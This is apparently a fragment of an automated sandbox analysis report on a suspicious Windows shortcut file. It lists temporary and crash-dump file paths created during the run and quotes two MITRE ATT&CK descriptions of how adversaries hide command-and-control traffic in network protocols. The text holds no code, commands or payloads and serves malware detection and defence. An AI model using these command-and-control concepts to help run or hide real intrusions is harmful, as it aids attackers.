C:\ProgramData\Microsoft\Windows\WER\Temp\WER28EF.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER294E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29AD.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1c72c8a0-f74f-471b-acc7-7476ae790160.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\82b87153-f672-4089-90e7-a2a2bf22bab8.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\93755e5c-1aa1-41ff-8fb2-421ba35e865f.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9c4f835d-2b64-4d26-aaf6-288e561dc14e.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\bc0b9e12-5c8d-4bb5-bab1-e23d1dbb9350.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Windows Analysis Report
IIC0XbKFjS.lnk

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre